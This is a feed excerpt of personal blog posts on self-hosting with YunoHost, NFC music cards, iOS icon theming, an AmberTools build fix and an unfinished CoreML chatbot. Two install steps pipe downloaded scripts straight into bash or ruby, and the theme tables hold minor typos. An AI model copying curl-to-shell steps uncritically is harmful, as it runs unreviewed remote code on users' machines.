<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><mi>x</mi><mo>&#x0003D;</mo><mfrac><mrow><mo>&#x02212;</mo><mi>b</mi><mi>&#x000B1;</mi><msqrt><mrow><msup><mi>b</mi><mn>2</mn></msup><mo>&#x02212;</mo><mn>4</mn><mi>a</mi><mi>c</mi></mrow></msqrt></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac></mrow></math>
]]></content:encoded>
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			<guid isPermaLink="true">
				https://web.navan.dev/posts/2022-08-05-Why-You-No-Host.html
			</guid>
			<title>
				Why You No Host?
			</title>
			<description>
				Why you should self-host with YunoHost
			</description>
			<link>https://web.navan.dev/posts/2022-08-05-Why-You-No-Host.html</link>
			<pubDate>Fri, 05 Aug 2022 14:46:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="why-you-no-host">Why You No Host?</h1>

<p><img src="/assets/y-u-n-o/meme.png" alt="" /></p>

<p>With all these data leaks happening every other day, why have you not started self-hosting?</p>

<p>The title refers to the “Y U No Host” internet meme, which led to the name of “YunoHost”, an operating system aiming to democratise self-hosting. This post tries to discuss the idea that anyone can self-host and why you should consider YunoHost.</p>

<h2 id="should-you-self-host">Should you Self-Host?</h2>

<ul>
<li>Do you get annoyed when half of the internet goes down because everything a few major companies host the majority of the internet?
<ul>
<li><a rel="noopener" target="_blank" href="https://blog.cloudflare.com/cloudflare-outage-on-june-21-2022/">Cloudflare outage</a></li>
<li><a rel="noopener" target="_blank" href="https://www.fiercetelecom.com/cloud/extended-aws-outage-disrupts-services-across-globe">Amazon Web Services outage</a></li>
<li><a rel="noopener" target="_blank" href="https://www.crn.com/news/cloud/google-cloud-outage-takes-major-websites-and-apps-down">Google Cloud Platform outage</a></li>
</ul></li>
<li>Do you get annoyed when lifetime promises go bust and you don’t actually own anything?
<ul>
<li><a rel="noopener" target="_blank" href="https://support.google.com/photos/answer/10100180?hl=en">Google Photos Unlimited Storage ending</a></li>
<li><a rel="noopener" target="_blank" href="https://www.theverge.com/2018/1/9/16867380/nextbit-smart-storage-cloud-service-shut-down-robin-phone">Nextbit shutting down its Smart Storage Cloud</a> </li>
<li><a rel="noopener" target="_blank" href="https://www.theverge.com/2022/7/8/23199861/playstation-store-film-tv-show-removed-austria-germany-studiocanal">Sony removing purchased movies from libraries</a></li>
</ul></li>
<li>How about account suspensions without any prior notice?
<ul>
<li><a rel="noopener" target="_blank" href="https://hn.algolia.com/?dateRange=all&page=0&prefix=true&query=account%20suspended&sort=byPopularity&type=story">Hacker News stories with “account suspended“</a></li>
</ul></li>
<li>Do you value security and privacy?</li>
<li>Or, do you want a new hobby?</li>
</ul>

<p>These are just some of the reasons to self-host.</p>

<h2 id="what-if-you-dont-know-anything">What if you don’t know anything?</h2>

<p>No one is born with the knowledge of knowing how to orchestrate a cluster. You can always learn how to, but sometimes you just don’t have the time or energy. YunoHost tries to ease this issue by providing a clean web-interface. You do not even need to touch the command line for all the basic tasks.</p>

<h2 id="what-should-you-self-host">What should you self-host?</h2>

<p>Anything and everything! The best part about self-hosting is that you own the data. This data is not going to be sold to the highest bidder.</p>

<p>Just because you like watching YouTube does not mean you cannot self-host a privacy friendly front-end for it on your server. Why stop there, why not create your own Google Drive / Dropbox alternative and host it on your own with actual unlimited storage, where the only limit is how much capacity you want. Do you own tons of audiobooks or DVDs/Blu-rays? Simply host an audiobook server or create your own personal Netflix and share it with your friends and family.</p>

<p>Do you own a small-business? Do you hate the idea of having your sensitive e-mails stored on someone else’s server? Why not setup your own mail server, with contacts and calendar syncing.</p>

<p>Do you run a small hobby group? Why not host a forum for everyone to discuss on? Or, simply a chat server where everyone can hop on and text, or call.</p>

<p>Although you can do all of this (and much more!) without needing to use YunoHost, it just makes it easy to manage.</p>

<h2 id="what-do-i-need-to-self-host">What do I need to self-host?</h2>

<ul>
<li>A decent internet connection if you plan on using the services outside your home network and hosting at home</li>
<li>Anything that can run Debian 10/11. Some examples:
<ul>
<li>A used server/PC bought in a Library/University’s liquidation sale</li>
<li>An old laptop nobody uses</li>
<li>A Raspberry Pi 4</li>
<li>A VPS (Checkout Linode, Hetzner, OVH)</li>
</ul></li>
<li>Some patience</li>
</ul>

<h2 id="what-is-yunohosthttpsyunohostorgenwhatsyunohostq2fwhatsyunohost"><a rel="noopener" target="_blank" href="https://yunohost.org/en/whatsyunohost?q=%2Fwhatsyunohost">What is YunoHost</a>?</h2>

<p><a rel="noopener" target="_blank" href="https://yunohost.org/">YunoHost</a> is a server operating system which takes  guesswork out of Self-Hosting. Out of the box it provides:</p>

<ul>
<li>a web-interface for easy administration</li>
<li>few click app deployments </li>
<li>multiple user support (with exposed ldap to integrate with your apps)</li>
<li>automatic ssl certificate management for your domains</li>
<li>integrated backup and restoration for all apps</li>
<li>security features (fail2ban, firewall)</li>
<li>Free *.noho.st domain(s)!</li>
</ul>

<p>and much more!</p>

<h3 id="why-did-i-choose-yunohost">Why did I choose YunoHost?</h3>

<p>I began my self-hosting journey with a Raspberry Pi 4 (4GB). I looked at tons of options for the base management layer:</p>

<ul>
<li><a rel="noopener" target="_blank" href="https://sandstorm.io/install">Sandstorm</a> - Does not run on arm64</li>
<li><a rel="noopener" target="_blank" href="https://www.cloudron.io">Cloudron</a> - 2 app limitation on the free tier
<ul>
<li>Although I don’t have a problem with paying for software licenses, having an app limit on something which you are self-hosting and you don’t want support is kind of confusing</li>
</ul></li>
<li>Plain <a rel="noopener" target="_blank" href="https://ubuntu.com/download/server">Ubuntu Server</a> - I didn’t want to waste time configuring everything</li>
</ul>

<p>One look at the user portal and I was sold. Yep, more than the features it was the app screen which looked like elements from the periodic table which sold me on the idea of using YunoHost. </p>

<p>Although there is no “correct“ way to self-host, YunoHost is indeed an easier way.</p>

<p><img src="/assets/y-u-n-o/ssys.png" alt="YunoHost SSO Login Screen" />
 <img src="/assets/y-u-n-o/ssyp.png" alt="YunoHost Portal" />
 <img src="/assets/y-u-n-o/ssyw.png" alt="YunoHost Web Admin" /></p>

<p>The stock Raspberry Pi image provided by YunoHost meant you don’t run in full arm64 mode. I had to first install Debian and then install YunoHost to get full arm64 goodness. </p>

<p>Setting up the domain was as painless as following the online web admin diagnosis page to copy paste DNS records. </p>

<p>The easiest way to deploy any app is to use Docker. I dislike this approach for a variety of reasons but I am not going to cover them here. All YunoHost apps are packaged to run on bare-metal for the best performance. See an app that does not have pre-compiled binaries? The package installer will download the latest source, install dependencies, compile, and then clean all the unnecessary files. Because you are running Debian after all, you can always SSH into the server and install docker if you want to. You can even install Portainer through YunoHost’s app catalogue if you really want to. </p>

<p>Also, YunoHost has been here for a long time! <a rel="noopener" target="_blank" href="https://news.ycombinator.com/item?id=7894838">Here</a> is an old Hacker News post about YunoHost. All the projects mentioned in the comments? Dead.  </p>

<h3 id="what-do-i-self-host">What do I self-host?</h3>

<h4 id="audiobookshelf-an-audiobook-server">audiobookshelf - an audiobook server</h4>

<p><img src="/assets/y-u-n-o/ssabs.png" alt="Audiobook server" /></p>

<h4 id="ergo-chat-an-irc-server">ergo chat - an IRC server</h4>

<p><img src="/assets/y-u-n-o/sst.png" alt="Screenshot of Textual Client connected to my IRC server" /></p>

<h4 id="freshrss-rss-aggregator">FreshRSS - RSS aggregator</h4>

<p><img src="/assets/y-u-n-o/ssfr.png" alt="Screenshot of FreshRSS" /></p>

<h4 id="gitea-self-hosted-git">Gitea - self-hosted git</h4>

<h4 id="screenshot-of-gitea-dashboard-with-logs-about-repository-mirroringassetsy-u-n-ossgipng"><img src="/assets/y-u-n-o/ssgi.png" alt="Screenshot of Gitea dashboard with logs about repository mirroring" /></h4>

<h4 id="grafana-metrics-dashboard">Grafana - Metrics dashboard</h4>

<p><img src="/assets/y-u-n-o/ssgr.png" alt="Grafana Dashboard" /></p>

<h4 id="home-assistant-home-automation-platform">Home Assistant - Home automation platform</h4>

<p><img src="/assets/y-u-n-o/ssha.png" alt="Screenshot of Home Assistant dashboard" /></p>

<h4 id="jellyfin-media-server">Jellyfin - Media server</h4>

<p><img src="/assets/y-u-n-o/ssj.png" alt="Screenshot of Jellyfin showing movies " /></p>

<h4 id="listmonk-newsletter-and-mailing-list-manager">Listmonk - Newsletter and Mailing List manager</h4>

<p><img src="/assets/y-u-n-o/ssl.png" alt="Screenshot of ListMonk" /></p>

<h4 id="minio-server-s3-compatible-storage-server">MinIO Server - S3 compatible storage server</h4>

<p><img src="/assets/y-u-n-o/ssm.png" alt="Screenshot of MinIO console" /></p>

<h4 id="nextcloud-storage-file-sharing-etc">Nextcloud - Storage, file-sharing, e.t.c</h4>

<p><img src="/assets/y-u-n-o/ssn.png" alt="Screenshot of Nextcloud dashboard" /></p>

<h4 id="syncthing-continuous-file-synchronization">Syncthing - continuous file synchronization</h4>

<p><img src="/assets/y-u-n-o/sss.png" alt="Screenshot of Synching dashboard" /></p>

<h4 id="vaultwarden-bitwarden-server">Vaultwarden - Bitwarden server</h4>

<p><img src="/assets/y-u-n-o/ssv.png" alt="Screenshot of Vaultwarden loading screen" /></p>

<h4 id="wallabag-read-it-later-app">Wallabag - Read it later app</h4>

<p><img src="/assets/y-u-n-o/ssw.png" alt="Screenshot of Wallabag" /></p>

<h4 id="h5ai-http-server-index">h5ai - HTTP server index</h4>

<p><img src="/assets/y-u-n-o/ssh.png" alt="Screenshot of h5ai" /></p>

<h2 id="how-do-i-install-yunohost">How do I install YunoHost?</h2>

<ol>
<li>Install minimal Debian 10/11  on your preferred machine</li>
<li><code>curl https://install.yunohost.org | bash</code></li>
</ol>

<p>Done!</p>

<h2 id="should-you-actually-self-host-everything">Should you actually self-host everything?</h2>

<p>Highly context dependent. I run two YunoHost servers in two different locations. One of the ISP has actually blacklisted the residential IP address range and does not let me change my reverseDNS, which means all my outgoing emails are marked as spam. On the other hand, the other ISP gave a clean static IP and the server managed for a small business is not at all problematic for emailing. YMMV but at least you know you have an option.</p>
]]></content:encoded>
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		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2021-06-25-NFC-Music-Cards-Basic-iOS.html
			</guid>
			<title>
				Basic NFC Music Cards for iOS
			</title>
			<description>
				Basic NFC Music Cards on iOS with Shortcuts
			</description>
			<link>https://web.navan.dev/posts/2021-06-25-NFC-Music-Cards-Basic-iOS.html</link>
			<pubDate>Fri, 25 Jun 2021 16:20:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="basic-nfc-music-cards-for-ios">Basic NFC Music Cards for iOS</h1>

<p>I had a pack of NFC cards and decided it was the perfect time to create Music Cards. I do not have a "music setup."
So, I did not have to ensure this could work with any device. I settled with using Shortcuts personal Automation.</p>

<h2 id="designing-the-template">Designing the Template</h2>

<p>I tried measuring the card's dimensions with the in-built Measure app, but it was off by a few mm. </p>

<p><img src="/assets/posts/music-cards/failed-measure.png" alt="Failed Attempt to Measure" /></p>

<p>After measuring with a scale, I decided on a simple template I made in Apple Pages.</p>

<p><img src="/assets/posts/music-cards/basic-template.png" alt="Screenshot of the Basic Template" /></p>

<p><img src="/assets/posts/music-cards/mccartney-iii.png" alt="Screenshot of Design for McCartney III" /></p>

<h2 id="creating-the-automation">Creating the Automation</h2>

<p>I created a personal automation in the Shortcuts app which got triggered when a particular NFC card was scanned, ask playback destination and play the album/playlist.</p>

<p><img src="/assets/posts/music-cards/shortcuts-01.png" alt="Screenshot of Shortcuts App" /></p>

<p><img src="/assets/posts/music-cards/shortcuts-02.png" alt="Screenshot of Automation Summary" /></p>

<h2 id="demo">Demo</h2>

<iframe width="560" height="315" src="https://www.youtube.com/embed/pV5EPujEI-Y" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
]]></content:encoded>
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		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2019-05-05-Custom-Snowboard-Anemone-Theme.html
			</guid>
			<title>
				Creating your own custom theme for Snowboard or Anemone
			</title>
			<description>
				Tutorial on creating your own custom theme for Snowboard or Anemone
			</description>
			<link>https://web.navan.dev/posts/2019-05-05-Custom-Snowboard-Anemone-Theme.html</link>
			<pubDate>Sun, 05 May 2019 12:34:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="creating-your-own-custom-theme-for-snowboard-or-anemone">Creating your own custom theme for Snowboard or Anemone</h1>

<h3 id="contents">Contents</h3>

<ul>
<li>Getting Started</li>
<li>Theme Configuration</li>
<li>Creating Icons</li>
<li>Exporting Icons</li>
<li>Icon Masks</li>
<li>Packaging</li>
<li>Building the DEB</li>
</ul>

<h2 id="getting-started">Getting Started</h2>

<p><strong>Note: Without the proper folder structure, your theme may not show up!</strong></p>

<ul>
<li>Create a new folder called <code>themeName.theme</code> (Replace themeName with your desired theme name)</li>
<li>Within <code>themeName.theme</code> folder, create another folder called <code>IconBundles</code> (<strong>You cannot change this name</strong>)</li>
</ul>

<h2 id="theme-configuration">Theme Configuration</h2>

<ul>
<li>Now, inside the <code>themeName.theme</code> folder, create a file called <code>Info.plist</code> and paste the following</li>
</ul>

<pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;
  &lt;plist version="1.0"&gt;
  &lt;dict&gt;
    &lt;key&gt;PackageName&lt;/key&gt;
    &lt;string&gt;ThemeName&lt;/string&gt;
    &lt;key&gt;ThemeType&lt;/key&gt;
    &lt;string&gt;Icons&lt;/string&gt;
  &lt;/dict&gt;
&lt;/plist&gt;
</code></pre>

<ul>
<li>Replace <code>PackageName</code> with the name of the Package and replace <code>ThemeName</code> with the Theme Name</li>
</ul>

<p>Now, you might ask what is the difference between <code>PackageName</code> and <code>ThemeName</code>?</p>

<p>Well, if for example you want to publish two variants of your icons, one dark and one white but you do not want the user to separately install them.
Then, you would name the package <code>MyTheme</code> and include two themes <code>Blackie</code> and <code>White</code> thus creating two entries. More about this in the end</p>

<h2 id="creating-icons">Creating Icons</h2>

<ul>
<li>Open up the Image Editor of your choice and create a new file having a resolution of 512x512</li>
</ul>

<p><strong>Note: Due to IconBundles, we just need to create the icons in one size and they get resized automatically</strong> :ghost:</p>

<p><strong>Want to create rounded icons?</strong>
Create them squared only, we will learn how to apply masks!</p>

<h2 id="exporting-icons">Exporting Icons</h2>

<p><strong>Note: All icons must be saved as <code>*.png</code> (Tip: This means you can even create partially transparent icons!)</strong></p>

<ul>
<li>All Icons must be saved in <code>themeName.theme&gt;IconBundles</code> as <code>bundleID-large.png</code></li>
</ul>

<h5 id="finding-bundleids">Finding BundleIDs</h5>

<p><strong>Stock Application BundleIDs</strong></p>

<table>
<thead>
<tr>
  <th>Name</th>
  <th>BundleID</th>
</tr>
</thead>
<tbody>
<tr>
  <td>App Store</td>
  <td>com.apple.AppStore</td>
</tr>
<tr>
  <td>Apple Watch</td>
  <td>com.apple.Bridge</td>
</tr>
<tr>
  <td>Calculator</td>
  <td>com.apple.calculator</td>
</tr>
<tr>
  <td>Calendar</td>
  <td>com.apple.mobilecal</td>
</tr>
<tr>
  <td>Camera</td>
  <td>com.apple.camera</td>
</tr>
<tr>
  <td>Classroom</td>
  <td>com.apple.classroom</td>
</tr>
<tr>
  <td>Clock</td>
  <td>com.apple.mobiletimer</td>
</tr>
<tr>
  <td>Compass</td>
  <td>com.apple.compass</td>
</tr>
<tr>
  <td>FaceTime</td>
  <td>com.apple.facetime</td>
</tr>
<tr>
  <td>Files</td>
  <td>com.apple.DocumentsApp</td>
</tr>
<tr>
  <td>Game Center</td>
  <td>com.apple.gamecenter</td>
</tr>
<tr>
  <td>Health</td>
  <td>com.apple.Health</td>
</tr>
<tr>
  <td>Home</td>
  <td>com.apple.Home</td>
</tr>
<tr>
  <td>iBooks</td>
  <td>com.apple.iBooks</td>
</tr>
<tr>
  <td>iTunes Store</td>
  <td>com.apple.MobileStore</td>
</tr>
<tr>
  <td>Mail</td>
  <td>com.apple.mobilemail</td>
</tr>
<tr>
  <td>Maps</td>
  <td>com.apple.Maps</td>
</tr>
<tr>
  <td>Measure</td>
  <td>com.apple.measure</td>
</tr>
<tr>
  <td>Messages</td>
  <td>com.apple.MobileSMS</td>
</tr>
<tr>
  <td>Music</td>
  <td>com.apple.Music</td>
</tr>
<tr>
  <td>News</td>
  <td>com.apple.news</td>
</tr>
<tr>
  <td>Notes</td>
  <td>com.apple.mobilenotes</td>
</tr>
<tr>
  <td>Phone</td>
  <td>com.apple.mobilephone</td>
</tr>
<tr>
  <td>Photo Booth</td>
  <td>com.apple.Photo-Booth</td>
</tr>
<tr>
  <td>Photos</td>
  <td>com.apple.mobileslideshow</td>
</tr>
<tr>
  <td>Playgrounds</td>
  <td>come.apple.Playgrounds</td>
</tr>
<tr>
  <td>Podcasts</td>
  <td>com.apple.podcasts</td>
</tr>
<tr>
  <td>Reminders</td>
  <td>com.apple.reminders</td>
</tr>
<tr>
  <td>Safari</td>
  <td>com.apple.mobilesafari</td>
</tr>
<tr>
  <td>Settings</td>
  <td>com.apple.Preferences</td>
</tr>
<tr>
  <td>Stocks</td>
  <td>com.apple.stocks</td>
</tr>
<tr>
  <td>Tips</td>
  <td>com.apple.tips</td>
</tr>
<tr>
  <td>TV</td>
  <td>com.apple.tv</td>
</tr>
<tr>
  <td>Videos</td>
  <td>com.apple.videos</td>
</tr>
<tr>
  <td>Voice Memos</td>
  <td>com.apple.VoiceMemos</td>
</tr>
<tr>
  <td>Wallet</td>
  <td>com.apple.Passbook</td>
</tr>
<tr>
  <td>Weather</td>
  <td>com.apple.weather</td>
</tr>
</tbody>
</table>

<p><strong>3rd Party Applications BundleID</strong>
Click <a rel="noopener" target="_blank" href="http://offcornerdev.com/bundleid.html">here</a></p>

<h3 id="icon-masks">Icon Masks</h3>

<ul>
<li>Getting the Classic Rounded Rectangle Masks</li>
</ul>

<p>In your <code>Info.plist</code> file add the following value between <code>&lt;dict&gt;</code> and </dict></p>

<pre><code>&lt;key&gt;IB-MaskIcons&lt;/key&gt;
    &lt;true/&gt;
</code></pre>

<ul>
<li>Custom Icon Masks</li>
</ul>

<p><strong>NOTE: This is an optional step, if you do not want Icon Masks, skip this step</strong></p>

<ul>
<li>Inside your <code>themeName.theme</code> folder, create another folder called 'Bundles'
<ul>
<li>Inside <code>Bundles</code> create another folder called <code>com.apple.mobileicons.framework</code></li>
</ul></li>
</ul>

<h4 id="designing-masks">Designing Masks</h4>

<p><strong>Masking does not support IconBundles, therefore you need to save the masks for each of the following</strong></p>

<table>
<thead>
<tr>
  <th>File</th>
  <th>Resolution</th>
</tr>
</thead>
<tbody>
<tr>
  <td>AppIconMask@2x~ipad.png</td>
  <td>152x512</td>
</tr>
<tr>
  <td>AppIconMask@2x~iphone.png</td>
  <td>120x120</td>
</tr>
<tr>
  <td>AppIconMask@3x~ipad.png</td>
  <td>180x180</td>
</tr>
<tr>
  <td>AppIconMask@3x~iphone.png</td>
  <td>180x180</td>
</tr>
<tr>
  <td>AppIconMask~ipad.png</td>
  <td>76x76</td>
</tr>
<tr>
  <td>DocumentBadgeMask-20@2x.png</td>
  <td>40x40</td>
</tr>
<tr>
  <td>DocumentBadgeMask-145@2x.png</td>
  <td>145x145</td>
</tr>
<tr>
  <td>GameAppIconMask@2x.png</td>
  <td>84x84</td>
</tr>
<tr>
  <td>NotificationAppIconMask@2x.png</td>
  <td>40x40</td>
</tr>
<tr>
  <td>NotificationAppIconMask@3x.png</td>
  <td>60x60</td>
</tr>
<tr>
  <td>SpotlightAppIconMask@2x.png</td>
  <td>80x80</td>
</tr>
<tr>
  <td>SpotlightAppIconMask@3x.png</td>
  <td>120x120</td>
</tr>
<tr>
  <td>TableIconMask@2x.png</td>
  <td>58x58</td>
</tr>
<tr>
  <td>TableIconOutline@2x.png</td>
  <td>58x58</td>
</tr>
</tbody>
</table>

<ul>
<li>While creating the mask, make sure that the background is not a solid colour and is transparent</li>
<li>Whichever area you want to make visible, it should be coloured in black</li>
</ul>

<p>Example (Credits: Pinpal):</p>

<p><img src="https://pinpal.github.io/assets/theme-guide/mask-demo.png" alt="Credit: Pinpal" /></p>

<p>would result in</p>

<p><img src="https://pinpal.github.io/assets/theme-guide/mask-result.png" alt="Credit: Pinpal" /></p>

<h3 id="packaging">Packaging</h3>

<ul>
<li>Create a new folder outside <code>themeName.theme</code> with the name you want to be shown on Cydia, e.g <code>themeNameForCydia</code></li>
<li>Create another folder called <code>DEBIAN</code> in <code>themeNameForCydia</code> (It needs to be uppercase)</li>
<li>In <code>DEBIAN</code> create an extension-less file called <code>control</code> and edit it using your favourite text editor</li>
</ul>

<p>Paste the following in it, replacing <code>yourname</code>, <code>themename</code>, <code>Theme Name</code>, <code>A theme with beautiful icons!</code> and <code>Your Name</code> with your details:</p>

<pre><code>Package: com.yourname.themename
Name: Theme Name
Version: 1.0
Architecture: iphoneos-arm
Description: A theme with beautiful icons!
Author: Your Name
Maintainer: Your Name
Section: Themes
</code></pre>

<ul>
<li><p>Important Notes:</p>

<ul>
<li>The package field <strong>MUST</strong> be lower case!</li>
<li>The version field <strong>MUST</strong> be changed every-time you update your theme!</li>
<li>The control file <strong>MUST</strong> have an extra blank line at the bottom!</li>
</ul></li>
<li><p>Now, Create another folder called <code>Library</code> in <code>themeNameForCydia</code></p></li>
<li>In <code>Library</code> create another folder called <code>Themes</code></li>
<li>Finally, copy <code>themeName.theme</code> to the <code>Themes</code> folder (<strong>Copy the entire folder, not just the contents</strong>)</li>
</ul>

<h3 id="building-the-deb">Building the DEB</h3>

<p><strong>For building the deb you need a <code>*nix</code> system, otherwise you can build it using your iPhones</strong></p>

<h5 id="pre-requisite-for-macos-users">Pre-Requisite for MacOS users</h5>

<p>1) Install Homenbrew <code>/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"</code> (Run this in the terminal)
2) Install dpkg, by running <code>brew install dpkg</code></p>

<p><strong>There is a terrible thing called .DS_Store which if not removed, will cause a problem during either build or installation</strong></p>

<ul>
<li><p>To remove this we first need to open the folder in the terminal</p></li>
<li><p>Launch the Terminal and then drag-and-drop the 'themeNameForCydia' folder on the Terminal icon in the dock</p></li>
<li>Now, run <code>find . -name "*.DS_Store" -type f -delete</code></li>
</ul>

<h5 id="pre-requisite-for-windows-users">Pre-Requisite for Windows Users</h5>

<ul>
<li>SSH into your iPhone and drag and drop the <code>themeNameForCyia</code> folder on the terminal</li>
</ul>

<h5 id="common-instructions">Common Instructions</h5>

<ul>
<li>You should be at the root of the folder in the terminal, i.e Inside <code>themeNameForCydia</code></li>
<li>running <code>ls</code> should show the following output</li>
</ul>

<pre><code>DEBIAN  Library
</code></pre>

<ul>
<li>Now, in the terminal enter the following <code>cd .. &amp;&amp; dpkg -b themeNameForCydia</code></li>
</ul>

<p><strong>Now you will have the <code>themeNameForCydia.deb</code> in the same directory</strong></p>

<p>You can share this with your friends :+1:</p>
]]></content:encoded>
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		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2020-04-13-Fixing-X11-Error-AmberTools-macOS.html
			</guid>
			<title>
				Fixing X11 Error on macOS Catalina for AmberTools 18/19
			</title>
			<description>
				Fixing Could not find the X11 libraries; you may need to edit config.h, AmberTools macOS Catalina
			</description>
			<link>https://web.navan.dev/posts/2020-04-13-Fixing-X11-Error-AmberTools-macOS.html</link>
			<pubDate>Mon, 13 Apr 2020 11:41:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="fixing-x11-error-on-macos-catalina-for-ambertools-1819">Fixing X11 Error on macOS Catalina for AmberTools 18/19</h1>

<p>I was trying to install AmberTools on my macOS Catalina Installation. Running <code>./configure -macAccelerate clang</code> gave me an error that it could not find X11 libraries, even though <code>locate libXt</code> showed that my installation was correct.</p>

<p>Error:</p>

<pre><code>Could not find the X11 libraries; you may need to edit config.h
   to set the XHOME and XLIBS variables.
Error: The X11 libraries are not in the usual location !
       To search for them try the command: locate libXt
       On new Fedora OS's install the libXt-devel libXext-devel
       libX11-devel libICE-devel libSM-devel packages.
       On old Fedora OS's install the xorg-x11-devel package.
       On RedHat OS's install the XFree86-devel package.
       On Ubuntu OS's install the xorg-dev and xserver-xorg packages.

          ...more info for various linuxes at ambermd.org/ubuntu.html

       To build Amber without XLEaP, re-run configure with '-noX11:
            ./configure -noX11 --with-python /usr/local/bin/python3 -macAccelerate clang
Configure failed due to the errors above!
</code></pre>

<p>I searched on Google for a solution. Sadly, there was not even a single thread which had a solution about this error.</p>

<h2 id="the-fix">The Fix</h2>

<p>Simply reinstalling XQuartz using homebrew fixed the error <code>brew cask reinstall xquartz</code></p>

<p>If you do not have XQuartz installed, you need to run <code>brew cask install xquartz</code></p>
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			<guid isPermaLink="true">
				https://web.navan.dev/posts/2021-06-27-Crude-ML-AI-Powered-Chatbot-Swift.html
			</guid>
			<title>
				Making a Crude ML Powered Chatbot in Swift using CoreML
			</title>
			<description>
				Writing a simple Machine-Learning powered Chatbot (or, daresay virtual personal assistant ) in Swift using CoreML.
			</description>
			<link>https://web.navan.dev/posts/2021-06-27-Crude-ML-AI-Powered-Chatbot-Swift.html</link>
			<pubDate>Sun, 27 Jun 2021 23:26:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="making-a-crude-ml-powered-chatbot-in-swift-using-coreml">Making a Crude ML Powered Chatbot in Swift using CoreML</h1>

<p>A chatbot/virtual assistant, on paper, looks easy to build.
The user says something, the programs finds the best action, checks if additional input is required and sends back the output.
To do this in Swift, I used two separate ML Models created using Apple's Create ML App.
First is a Text Classifier to classify intent, and the other a word tagger for extracting input from the input message. 
Disclaimer: This is a very crude proof-of-concept, but it does work.</p>

<h2 id="text-classifier">Text Classifier</h2>

<p>I opened a CSV file and added some sample entries, with a corresponding label.</p>

<p><img src="/assets/posts/swift-chatbot/intent-csv.png" alt="Screenshot of Sample Dataset" /></p>

<pre><code>text,label
hey there,greetings
hello,greetings
good morning,greetings
good evening,greetings
hi,greetings
open the pod bay doors,banter
who let the dogs out,banter
ahh that's hot,banter
bruh that's rad,banter
nothing,banter
da fuq,banter
can you tell me details about the compound aspirin,deez-drug
i want to know about some compounds,deez-drug
search about the compound,deez-drug
tell me about the molecule,deez-drug
tell me about something,banter
tell me something cool,banter
tell a joke,banter
make me a sandwich,banter
whatcha doing,greetings
i love you,banter
</code></pre>

<p><img src="/assets/posts/swift-chatbot/create-intent.png" alt="Screenshot of Create ML Text Classifier" /></p>

<h2 id="word-tagging">Word Tagging</h2>

<p>This is useful to extract the required variables directly from the user's input.
This model will be only called if the intent from the classifier is a custom action.
I created a sample JSON with only 3 examples (I know, very less, but works for a crude PoC).</p>

<p><img src="/assets/posts/swift-chatbot/drugs-json.png" alt="Screenshot of Sample Dataset" /></p>

<div class="codehilite">
<pre><span></span><code><span class="p">[</span>
<span class="w">    </span><span class="p">{</span>
<span class="w">        </span><span class="nt">&quot;tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&quot;Tell&quot;</span><span class="p">,</span><span class="s2">&quot;me&quot;</span><span class="p">,</span><span class="s2">&quot;about&quot;</span><span class="p">,</span><span class="s2">&quot;the&quot;</span><span class="p">,</span><span class="s2">&quot;drug&quot;</span><span class="p">,</span><span class="s2">&quot;Aspirin&quot;</span><span class="p">,</span><span class="s2">&quot;.&quot;</span><span class="p">],</span>
<span class="w">        </span><span class="nt">&quot;labels&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;COMPOUND&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">]</span>
<span class="w">    </span><span class="p">},</span>
<span class="w">    </span><span class="p">{</span>
<span class="w">        </span><span class="nt">&quot;tokens&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&quot;Please&quot;</span><span class="p">,</span><span class="s2">&quot;tell&quot;</span><span class="p">,</span><span class="s2">&quot;me&quot;</span><span class="p">,</span><span class="s2">&quot;information&quot;</span><span class="p">,</span><span class="s2">&quot;about&quot;</span><span class="p">,</span><span class="s2">&quot;the&quot;</span><span class="p">,</span><span class="s2">&quot;compound&quot;</span><span class="p">,</span><span class="s2">&quot;salicylic&quot;</span><span class="p">,</span><span class="s2">&quot;acid&quot;</span><span class="p">,</span><span class="s2">&quot;.&quot;</span><span class="p">],</span>
<span class="w">        </span><span class="nt">&quot;labels&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">,</span><span class="s2">&quot;COMPOUND&quot;</span><span class="p">,</span><span class="s2">&quot;COMPOUND&quot;</span><span class="p">,</span><span class="s2">&quot;NONE&quot;</span><span class="p">]</span>
<span class="w">    </span><span class="p">},</span>
<span class="w">    </span><span class="p">{</span>
